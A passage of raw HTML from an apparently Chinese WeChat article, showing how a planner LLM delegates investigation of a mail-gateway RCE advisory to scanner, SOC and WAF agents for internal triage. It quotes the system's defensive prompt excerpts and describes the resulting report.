&#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 18px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 700;letter-spacing: 0.544px;orphans: 2;text-align: center;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;visibility: visible;"> </span></span></p></div><p><span leaf=""><span textstyle="" style="font-size: 14px;">首先，LLM 识别意图，收到的这个链接是什么东西？用户的输入很简单，可以直接丢链接，当然加动作提示【调查】【排查】会更好。</span></span></p><p style="text-align: center;" nodeleaf=""><img data-imgfileid="100000137" class="rich_pages wxw-img" data-ratio="0.4" data-s="300,640" data-type="png" data-w="1080" type="block" src="https://wechat2rss.xlab.app/img-proxy/?k=9e52d1ba&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2F0jezbBnTO9ngv1sctdWVDLRKpEEicuUG2MIX79sYbIOkbdncicPSLxAvEKzdw30ZFHWyYN4Q6MckwHY7NwCHbFHg%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></p><p><span leaf=""><span textstyle="" style="font-size: 14px;font-weight: bold;">提示词摘要</span></span></p><p cid="n5" mdtype="paragraph" style="box-sizing: border-box;line-height: inherit;orphans: 4;margin-top: 1rem;margin-bottom: 0px;white-space: pre-wrap;color: rgb(31, 9, 9);font-family: &#34;PT Serif&#34;, &#34;Times New Roman&#34;, Times, serif;font-size: 16px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration-style: initial;text-decoration-color: initial;" data-pm-slice="0 0 []"><span md-inline="plain" style="box-sizing: border-box;"><span leaf=""><span textstyle="" style="font-size: 14px;color: rgb(255, 104, 39);font-style: normal;">请分析其是否为安全情报，如果是，则输出1句自然语言的指示。让你部门的安全工程师去开展对应的排查。</span></span></span></p><ul style="box-sizing: border-box;list-style: none;margin: 0.5em 0px 1.5em 1.5em;color: rgb(31, 9, 9);font-family: &#34;PT Serif&#34;, &#34;Times New Roman&#34;, Times, serif;font-size: 16px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration-style: initial;text-decoration-color: initial;" class="list-paddingleft-1"><li style="box-sizing: border-box;margin: 0px;list-style-type: disc;list-style-position: outside;"><p cid="n8" mdtype="paragraph" style="box-sizing: border-box;line-height: inherit;orphans: 4;margin: 0px;white-space: pre-wrap;"><span md-inline="plain" style="box-sizing: border-box;"><span leaf=""><span textstyle="" style="font-size: 14px;color: rgb(255, 104, 39);font-style: normal;">只需要告知 什么产品 什么版本 出现了漏洞</span></span></span></p></li><li style="box-sizing: border-box;margin: 0px;list-style-type: disc;list-style-position: outside;"><p cid="n10" mdtype="paragraph" style="box-sizing: border-box;line-height: inherit;orphans: 4;margin: 0px;white-space: pre-wrap;"><span md-inline="plain" style="box-sizing: border-box;"><span leaf=""><span textstyle="" style="font-size: 14px;color: rgb(255, 104, 39);font-style: normal;">告诉对方需要全网排查一个威胁情报: hash /ip /domain/ 进程 / jar包等 </span></span></span></p></li></ul><p cid="n11" mdtype="paragraph" style="box-sizing: border-box;line-height: inherit;orphans: 4;margin-top: 1rem;margin-bottom: 32px;white-space: pre-wrap;color: rgb(31, 9, 9);font-family: &#34;PT Serif&#34;, &#34;Times New Roman&#34;, Times, serif;font-size: 16px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration-style: initial;text-decoration-color: initial;"><span md-inline="plain" style="box-sizing: border-box;"><span leaf=""><span textstyle="" style="font-size: 14px;color: rgb(255, 104, 39);font-style: normal;">如果不是安全情报，则输出一段话总结文章内容。</span></span></span></p><p cid="n11" mdtype="paragraph" style="box-sizing: border-box;line-height: inherit;orphans: 4;margin-top: 1rem;margin-bottom: 8px;white-space: pre-wrap;color: rgb(31, 9, 9);font-family: &#34;PT Serif&#34;, &#34;Times New Roman&#34;, Times, serif;font-size: 16px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration-style: initial;text-decoration-color: initial;"><span md-inline="plain"><span leaf=""><span textstyle="" style="font-size: 14px;font-weight: normal;">观察其输出</span></span></span></p><p style="box-sizing: border-box;line-height: inherit;orphans: 4;margin-top: 1rem;margin-bottom: 32px;white-space: pre-wrap;color: rgb(31, 9, 9);font-family: &#34;PT Serif&#34;, &#34;Times New Roman&#34;, Times, serif;font-size: 16px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration-style: initial;text-decoration-color: initial;"><span leaf="" style="box-sizing: border-box;"><span textstyle="" style="font-size: 14px;color: rgb(255, 104, 39);font-style: normal;">{&#34;threat_info&#34;: &#34;true&#34;,   &#34;response&#34;: &#34;XXX SPAM XXX 邮件网关产品2.26(2.250304)及以下版本存在远程代码执行漏洞，请安全工程师立即开展对应的排查。&#34;}</span></span></p><p style="margin-top: 8px;margin-bottom: 8px;text-align: center;"><span style="color: rgb(255, 255, 255);font-family: &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 18px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 700;letter-spacing: 0.544px;orphans: 2;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;background-color: rgb(0, 82, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;float: none;display: inline !important;" data-pm-slice="0 0 []"><span leaf="" data-pm-slice="1 1 [&#34;para&#34;,null,&#34;para&#34;,{&#34;tagName&#34;:&#34;section&#34;,&#34;attributes&#34;:{&#34;style&#34;:&#34;margin-top: 8px; margin-bottom: 8px; text-align: center;&#34;},&#34;namespaceURI&#34;:&#34;&#34;},&#34;node&#34;,{&#34;tagName&#34;:&#34;span&#34;,&#34;attributes&#34;:{&#34;style&#34;:&#34;color: rgb(255, 255, 255); font-family: \&#34;PingFang SC\&#34;, system-ui, -apple-system, BlinkMacSystemFont, \&#34;Helvetica Neue\&#34;, \&#34;Hiragino Sans GB\&#34;, \&#34;Microsoft YaHei UI\&#34;, \&#34;Microsoft YaHei\&#34;, Arial, sans-serif; font-size: 18px; font-style: normal; font-variant-ligatures: normal; font-variant-caps: normal; font-weight: 700; letter-spacing: 0.544px; orphans: 2; text-indent: 0px; text-transform: none; widows: 2; word-spacing: 0px; -webkit-text-stroke-width: 0px; background-color: rgb(0, 82, 255); text-decoration-thickness: initial; text-decoration-style: initial; text-decoration-color: initial; float: none; display: inline !important;&#34;,&#34;data-pm-slice&#34;:&#34;0 0 []&#34;},&#34;namespaceURI&#34;:&#34;http://www.w3.org/1999/xhtml&#34;}]" style="-webkit-tap-highlight-color: transparent;margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;color: rgb(255, 255, 255);font-family: &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 18px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 700;letter-spacing: 0.544px;orphans: 2;text-align: center;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;visibility: visible;">  Planner任务规划  </span></span></p><p><span leaf=""><span textstyle="" style="font-size: 14px;font-weight: bold;">Intention</span><span textstyle="" style="font-size: 14px;font-weight: normal;">完成意图分析后</span><span textstyle="" style="font-size: 14px;font-weight: bold;">，</span><span textstyle="" style="font-size: 14px;font-weight: normal;">会交给</span><span textstyle="" style="font-size: 14px;font-weight: bold;">Planner</span><span textstyle="" style="font-size: 14px;">继续处理。</span></span><span leaf="" data-pm-slice="1 1 [&#34;para&#34;,null]"><span textstyle="" style="font-size: 14px;font-weight: normal;">（Intention这一步并不必须，只是拦截一些general QA回答，减少Token消耗）</span></span></p><p><span leaf=""><span textstyle="" style="font-size: 14px;font-weight: bold;">Planner规划给3个Agent开展调查</span></span></p><ul style="list-style-type: square;" class="list-paddingleft-1"><li><p><span leaf=""><span textstyle="" style="font-size: 14px;">委派 </span><span textstyle="" style="font-size: 14px;font-weight: bold;">扫描器 </span><span textstyle="" style="font-size: 14px;">检查相关漏洞、Web指纹、Banner</span></span></p></li><li><p><span leaf=""><span textstyle="" style="font-size: 14px;">委派 </span><span textstyle="" style="font-size: 14px;font-weight: bold;">SOC </span><span textstyle="" style="font-size: 14px;">搜索相关告警、漏洞工单</span></span></p></li><li><p><span leaf=""><span textstyle="" style="font-size: 14px;">委派 </span><span textstyle="" style="font-size: 14px;font-weight: bold;">WAF </span><span textstyle="" style="font-size: 14px;">搜索相关攻击日志</span></span></p></li></ul><p style="text-align: center;" nodeleaf=""><img data-imgfileid="100000138" class="rich_pages wxw-img" data-ratio="0.5472222222222223" data-s="300,640" data-type="png" data-w="1080" type="block" src="https://wechat2rss.xlab.app/img-proxy/?k=5b04035e&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2F0jezbBnTO9ngv1sctdWVDLRKpEEicuUG2zq76jibowtvBvzWtlQCc0uJqy784tXtO3jZNjC1pX2EYqFppk7ZRicicg%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></p><p><span leaf=""><span textstyle="" style="font-size: 14px;">对于Planner，真正体现</span></span><span leaf="" data-pm-slice="1 1 [&#34;para&#34;,null]"><span textstyle="" style="font-size: 14px;">模型</span></span><span leaf=""><span textstyle="" style="font-size: 14px;">强大的地方在于：</span></span></p><ul style="list-style-type: square;" class="list-paddingleft-1"><li><p><span leaf=""><span textstyle="" style="font-size: 14px;">0剧本，没有提前拟定任何 workflow。 我没亲手教LLM做事，是它自己知道如何去做（他清楚自己的角色）</span></span></p></li><li><p><span leaf=""><span textstyle="" style="font-size: 14px;">Planner只知道这些信息：</span></span></p></li><ul style="list-style-type:circle;" class="list-paddingleft-1"><li><p><span leaf=""><span textstyle="" style="font-size: 14px;">你有一堆的colleague，要查A信息找A，要查B数据找B。要执行C动作找C</span></span></p></li></ul><li style="color:#ff6827;"><p><span leaf=""><span textstyle="" style="font-size: 14px;color: rgb(255, 104, 39);">所有的分析调查都是Planner自己规划的</span></span></p></li><li style="color:#ff6827;"><p><span leaf=""><span textstyle="" style="font-size: 14px;color: rgb(255, 104, 39);">所有的任务都是以自然语言委派的，不存在任何预设的工具调用</span></span></p></li><li><p><span leaf=""><span textstyle="" style="font-size: 14px;">模型为 </span></span><span leaf=""><span textstyle="" style="font-size: 14px;color: rgb(255, 104, 39);">doubao-1.5-pro-32k-250115</span><span textstyle="" style="font-size: 14px;"> </span><span textstyle="" style="font-size: 14px;color: rgb(255, 104, 39);">gemini-2.0-flash </span></span></p><p><span leaf=""><br/></span></p></li></ul><div><p style="margin-top: 8px;margin-bottom: 8px;text-align: center;"><span style="color: rgb(255, 255, 255);font-family: &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 18px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 700;letter-spacing: 0.544px;orphans: 2;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;background-color: rgb(0, 82, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;float: none;display: inline !important;" data-pm-slice="0 0 []"><span leaf="" data-pm-slice="1 1 [&#34;para&#34;,{&#34;tagName&#34;:&#34;section&#34;,&#34;attributes&#34;:{&#34;style&#34;:&#34;margin-top: 8px; margin-bottom: 8px; text-align: center;&#34;},&#34;namespaceURI&#34;:&#34;&#34;},&#34;node&#34;,{&#34;tagName&#34;:&#34;span&#34;,&#34;attributes&#34;:{&#34;style&#34;:&#34;color: rgb(255, 255, 255); font-family: \&#34;PingFang SC\&#34;, system-ui, -apple-system, BlinkMacSystemFont, \&#34;Helvetica Neue\&#34;, \&#34;Hiragino Sans GB\&#34;, \&#34;Microsoft YaHei UI\&#34;, \&#34;Microsoft YaHei\&#34;, Arial, sans-serif; font-size: 18px; font-style: normal; font-variant-ligatures: normal; font-variant-caps: normal; font-weight: 700; letter-spacing: 0.544px; orphans: 2; text-indent: 0px; text-transform: none; widows: 2; word-spacing: 0px; -webkit-text-stroke-width: 0px; background-color: rgb(0, 82, 255); text-decoration-thickness: initial; text-decoration-style: initial; text-decoration-color: initial; float: none; display: inline !important;&#34;,&#34;data-pm-slice&#34;:&#34;0 0 []&#34;},&#34;namespaceURI&#34;:&#34;http://www.w3.org/1999/xhtml&#34;}]" style="-webkit-tap-highlight-color: transparent;margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;color: rgb(255, 255, 255);font-family: &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 18px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 700;letter-spacing: 0.544px;orphans: 2;text-align: center;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;visibility: visible;">  扫描器Agent执行检索  </span></span></p><p style="margin-top: 8px;margin-bottom: 8px;text-align: left;"><span leaf=""><span textstyle="" style="font-size: 14px;font-weight: bold;">扫描器</span><span textstyle="" style="font-size: 14px;"> 理解需求后，开始了查询。背后其实是一个MySQL Agent。</span></span></p><p style="margin-top: 8px;margin-bottom: 8px;text-align: left;"><span leaf=""><span textstyle="" style="font-size: 14px;">笔者初步实现了对MySQL ES Agent的简单封装。</span></span></p><p style="margin-top: 8px;margin-bottom: 8px;text-align: left;"><span leaf=""><span textstyle="" style="font-size: 14px;color: rgb(255, 76, 0);font-weight: normal;">实现的效果就是，50行代码+少量prompt说明， 即可添加一个Agent，你只需要把schema告诉Agent。 Agent内部，SQL DSL</span></span><span leaf="" data-pm-slice="1 1 [&#34;para&#34;,null,&#34;para&#34;,{&#34;tagName&#34;:&#34;section&#34;,&#34;attributes&#34;:{&#34;style&#34;:&#34;margin-top: 8px; margin-bottom: 8px; text-align: left;&#34;},&#34;namespaceURI&#34;:&#34;&#34;}]"><span textstyle="" style="font-size: 14px;color: rgb(255, 76, 0);font-weight: normal;">100%</span></span><span leaf=""><span textstyle="" style="font-size: 14px;color: rgb(255, 76, 0);font-weight: normal;">是由LLM 生成的。</span></span></p><p style="margin-top: 8px;margin-bottom: 8px;text-align: left;"><span leaf=""><span textstyle="" style="font-size: 14px;">扫描器收到的任务是：</span></span></p><p style="margin-left: 48px;margin-right: 48px;"><span leaf=""><span textstyle="" style="font-size: 14px;font-style: italic;"> SPAM XXX 邮件网关 指纹。 通过Web指纹识别内部是否存在XXX SPAM XXX邮件网关，并识别版本信息</span></span></p><p style="margin-top: 8px;margin-bottom: 8px;text-align: left;"><span leaf=""><span textstyle="" style="font-size: 14px;">注意看这个任务，考验扫描器的时候到了。它有能力找出来Spam XXX这样一个东西么？</span></span></p><p><span leaf=""><span textstyle="" style="font-size: 14px;">是可以的，如下图所示，扫描器确实关联出来了：</span></span></p><p style="text-align: center;" nodeleaf=""><img data-imgfileid="100000133" class="rich_pages wxw-img" data-ratio="0.6788766788766789" data-s="300,640" data-type="png" data-w="819" type="block" src="https://wechat2rss.xlab.app/img-proxy/?k=fdda45e1&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2F0jezbBnTO9ngv1sctdWVDLRKpEEicuUG242vCdYjyV4uiaSCzISEO4oKN00QkLLAwE3WpJqo1pnWVibqAvmKNx5ibg%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></p><p><span leaf=""><span textstyle="" style="font-size: 14px;">它是如何做到的？</span><span textstyle="" style="font-size: 14px;font-weight: bold;">提示词摘要</span></span></p><p><span leaf=""><span textstyle="" style="font-size: 14px;color: rgb(255, 76, 0);">## 角色</span></span></p><p style="margin-bottom: 16px;"><span leaf=""><span textstyle="" style="font-size: 14px;color: rgb(255, 76, 0);">你是一名安全工程师，正在应急响应检查Web漏洞。</span></span></p><p><span leaf=""><span textstyle="" style="font-size: 14px;color: rgb(255, 76, 0);">## 需求：</span></span></p><p style="margin-bottom: 16px;"><span leaf=""><span textstyle="" style="font-size: 14px;color: rgb(255, 76, 0);">{user_query}</span></span></p><p><span leaf=""><span textstyle="" style="font-size: 14px;color: rgb(255, 76, 0);">##背景</span></span></p><p style="margin-bottom: 16px;"><span leaf=""><span textstyle="" style="font-size: 14px;color: rgb(255, 76, 0);">已经掌握大量 HTTP Web 指纹</span></span></p><p><span leaf=""><span textstyle="" style="font-size: 14px;color: rgb(255, 76, 0);">## 任务</span></span></p><p style="margin-bottom: 16px;"><span leaf=""><span textstyle="" style="font-size: 14px;color: rgb(255, 76, 0);">逐个仔细检查分析，发现和需求最相关的那个，你只需要输出指纹的名称。 </span></span></p><p><span leaf=""><span textstyle="" style="font-size: 14px;color: rgb(255, 76, 0);">#</span><a class="wx_topic_link" topic-id="mdwyibig-xz4mz8" style="color: #576B95 !important;" data-topic="1"><span textstyle="" style="font-size: 14px;color: rgb(255, 76, 0);">#</span></a><span textstyle="" style="font-size: 14px;color: rgb(255, 76, 0);"> 输出格式 </span></span></p><p><span leaf=""><span textstyle="" style="font-size: 14px;color: rgb(255, 76, 0);">只需要输出对应的name</span></span></p><p><span leaf=""><span textstyle="" style="font-size: 14px;color: rgb(255, 76, 0);">如果仔细检查依然无法匹配，输出无</span></span></p><p><span leaf=""><br/></span></p><p style="margin-top: 8px;margin-bottom: 8px;text-align: center;"><span style="color: rgb(255, 255, 255);font-family: &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 18px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 700;letter-spacing: 0.544px;orphans: 2;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;background-color: rgb(0, 82, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;float: none;display: inline !important;" data-pm-slice="0 0 []"><span leaf="" data-pm-slice="1 1 [&#34;para&#34;,null,&#34;para&#34;,{&#34;tagName&#34;:&#34;section&#34;,&#34;attributes&#34;:{&#34;style&#34;:&#34;margin-top: 8px; margin-bottom: 8px; text-align: center;&#34;},&#34;namespaceURI&#34;:&#34;&#34;},&#34;node&#34;,{&#34;tagName&#34;:&#34;span&#34;,&#34;attributes&#34;:{&#34;style&#34;:&#34;color: rgb(255, 255, 255); font-family: \&#34;PingFang SC\&#34;, system-ui, -apple-system, BlinkMacSystemFont, \&#34;Helvetica Neue\&#34;, \&#34;Hiragino Sans GB\&#34;, \&#34;Microsoft YaHei UI\&#34;, \&#34;Microsoft YaHei\&#34;, Arial, sans-serif; font-size: 18px; font-style: normal; font-variant-ligatures: normal; font-variant-caps: normal; font-weight: 700; letter-spacing: 0.544px; orphans: 2; text-indent: 0px; text-transform: none; widows: 2; word-spacing: 0px; -webkit-text-stroke-width: 0px; background-color: rgb(0, 82, 255); text-decoration-thickness: initial; text-decoration-style: initial; text-decoration-color: initial; float: none; display: inline !important;&#34;,&#34;data-pm-slice&#34;:&#34;0 0 []&#34;},&#34;namespaceURI&#34;:&#34;http://www.w3.org/1999/xhtml&#34;}]" style="-webkit-tap-highlight-color: transparent;margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;color: rgb(255, 255, 255);font-family: &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 18px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 700;letter-spacing: 0.544px;orphans: 2;text-align: center;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;visibility: visible;">  深度调查中的循环  </span></span></p><p><span leaf=""><span textstyle="" style="font-size: 14px;font-weight: bold;">Planner</span><span textstyle="" style="font-size: 14px;">和各工具之间是一个循环。只要Planner认为还需要更多的信息，则可以反复循环获取。</span><span textstyle="" style="font-size: 14px;font-weight: bold;">提示词摘要</span></span></p><p><span leaf=""><span textstyle="" style="font-size: 14px;color: rgb(255, 76, 0);"># 你的角色 </span></span></p><p><span leaf=""><span textstyle="" style="font-size: 14px;color: rgb(255, 76, 0);">你是企业内部的 “**安全运营专家**”。</span></span></p><p><span leaf=""><span textstyle="" style="font-size: 14px;color: rgb(255, 76, 0);">核心职责是安全运营，规划安全运营任务，并综合已掌握的信息，为用户给出专业的回答/总结/报告。 </span></span></p><p><span leaf=""><span textstyle="" style="font-size: 14px;color: rgb(255, 76, 0);">一些常见任务例如：</span></span></p><p><span leaf=""><span textstyle="" style="font-size: 14px;color: rgb(255, 76, 0);">安全查询 / 安全分析 / 安全扫描 / 安全溯源调查 / 安全应急响应 / 安全巡检 / 安全评估 / 日常协助 / 文档处理</span></span></p><p><span leaf=""><span textstyle="" style="font-size: 14px;color: rgb(255, 76, 0);">收到用户的问题后，存在2种不同的情形：</span></span></p><p><span leaf=""><span textstyle="" style="font-size: 14px;color: rgb(255, 76, 0);">* 1）综合你目前已经掌握的信息，经过分析研判，足够支撑准确回答用户问题。此时，基于已有信息进行深度关联分析、风险研判，并给出专业、可行的安全建议。直接回复用户你的研判结果。</span></span></p><p><span leaf=""><span textstyle="" style="font-size: 14px;color: rgb(255, 76, 0);">* 2）尚未掌握足够的信息。此时，你需要综合规划任务，尝试获取更多跟问题相关的信息，将有多个不同的同事来配合你的信息获取工作。</span></span></p><p><span leaf=""><span textstyle="" style="font-size: 14px;color: rgb(255, 76, 0);">**你的核心特质：**</span></span></p><p><span leaf=""><span textstyle="" style="font-size: 14px;color: rgb(255, 76, 0);">- 你会主动思考是否需要更多上下文信息，若需要，且存在能配合获取信息的同事（Agent)，则把工作交给对应的同事（Agent）处理，</span></span></p><p><span leaf=""><span textstyle="" style="font-size: 14px;color: rgb(255, 76, 0);">- 你知道，只有获取充足的信息后，才做出更精准的判断</span></span></p><p><span leaf=""><br/></span></p><p style="margin-top: 8px;margin-bottom: 8px;text-align: center;"><span style="color: rgb(255, 255, 255);font-family: &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 18px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 700;letter-spacing: 0.544px;orphans: 2;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;background-color: rgb(0, 82, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;float: none;display: inline !important;" data-pm-slice="0 0 []"><span leaf="" data-pm-slice="1 1 [&#34;para&#34;,null,&#34;para&#34;,{&#34;tagName&#34;:&#34;section&#34;,&#34;attributes&#34;:{&#34;style&#34;:&#34;margin-top: 8px; margin-bottom: 8px; text-align: center;&#34;},&#34;namespaceURI&#34;:&#34;&#34;},&#34;node&#34;,{&#34;tagName&#34;:&#34;span&#34;,&#34;attributes&#34;:{&#34;style&#34;:&#34;color: rgb(255, 255, 255); font-family: \&#34;PingFang SC\&#34;, system-ui, -apple-system, BlinkMacSystemFont, \&#34;Helvetica Neue\&#34;, \&#34;Hiragino Sans GB\&#34;, \&#34;Microsoft YaHei UI\&#34;, \&#34;Microsoft YaHei\&#34;, Arial, sans-serif; font-size: 18px; font-style: normal; font-variant-ligatures: normal; font-variant-caps: normal; font-weight: 700; letter-spacing: 0.544px; orphans: 2; text-indent: 0px; text-transform: none; widows: 2; word-spacing: 0px; -webkit-text-stroke-width: 0px; background-color: rgb(0, 82, 255); text-decoration-thickness: initial; text-decoration-style: initial; text-decoration-color: initial; float: none; display: inline !important;&#34;,&#34;data-pm-slice&#34;:&#34;0 0 []&#34;},&#34;namespaceURI&#34;:&#34;http://www.w3.org/1999/xhtml&#34;}]" style="-webkit-tap-highlight-color: transparent;margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;color: rgb(255, 255, 255);font-family: &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 18px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 700;letter-spacing: 0.544px;orphans: 2;text-align: center;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;visibility: visible;">  输出报告  </span></span></p><p><span leaf=""><span textstyle="" style="font-size: 14px;">调查结束后，它给出了一份调查报告。</span></span></p><p style="text-align: center;" nodeleaf=""><img data-imgfileid="100000134" class="rich_pages wxw-img" data-ratio="0.28425925925925927" data-s="300,640" data-type="png" data-w="1080" type="block" src="https://wechat2rss.xlab.app/img-proxy/?k=8a9c0e8c&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2F0jezbBnTO9ngv1sctdWVDLRKpEEicuUG2VE3MnT2jOZgkLet3bzxPsnNlDQp1M7RAiawKjwiasDib4xbHup5voJVtQ%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></p><p><span leaf=""><span textstyle="" style="font-size: 14px;">在分析过程中， 它自动查找关联了资产owner</span></span></p><p style="text-align: center;" nodeleaf=""><img data-imgfileid="100000135" class="rich_pages wxw-img" data-ratio="0.15185185185185185" data-s="300,640" data-type="png" data-w="1080" type="block" src="https://wechat2rss.xlab.app/img-proxy/?k=b2029976&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2F0jezbBnTO9ngv1sctdWVDLRKpEEicuUG2EetiaV4j2lh1gg7ezEmlBEKdHwrV8nib1TyagaF4gnRH3AJ9X9mCJhJQ%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></p><p style="margin-top: 8px;margin-bottom: 8px;text-align: center;"><span leaf="" style="background-color: rgb(0, 82, 255);float: none;-webkit-tap-highlight-color: transparent;margin: 0px;padding: 0px;outline: 0px;max-width: 100%;color: rgb(255, 255, 255);font-family: &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 18px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 700;letter-spacing: 0.544px;orphans: 2;text-align: center;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;visibility: visible;display: inline !important;box-sizing: border-box !important;overflow-wrap: break-word !important;"><br/></span></p><p style="margin-top: 8px;margin-bottom: 8px;text-align: center;"><span leaf="" style="background-color: rgb(0, 82, 255);float: none;-webkit-tap-highlight-color: transparent;margin: 0px;padding: 0px;outline: 0px;max-width: 100%;color: rgb(255, 255, 255);font-family: &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 18px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 700;letter-spacing: 0.544px;orphans: 2;text-align: center;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;visibility: visible;display: inline !important;box-sizing: border-box !important;overflow-wrap: break-word !important;">这1分钱是否值得</span></p><p><span leaf=""><span textstyle="" style="font-size: 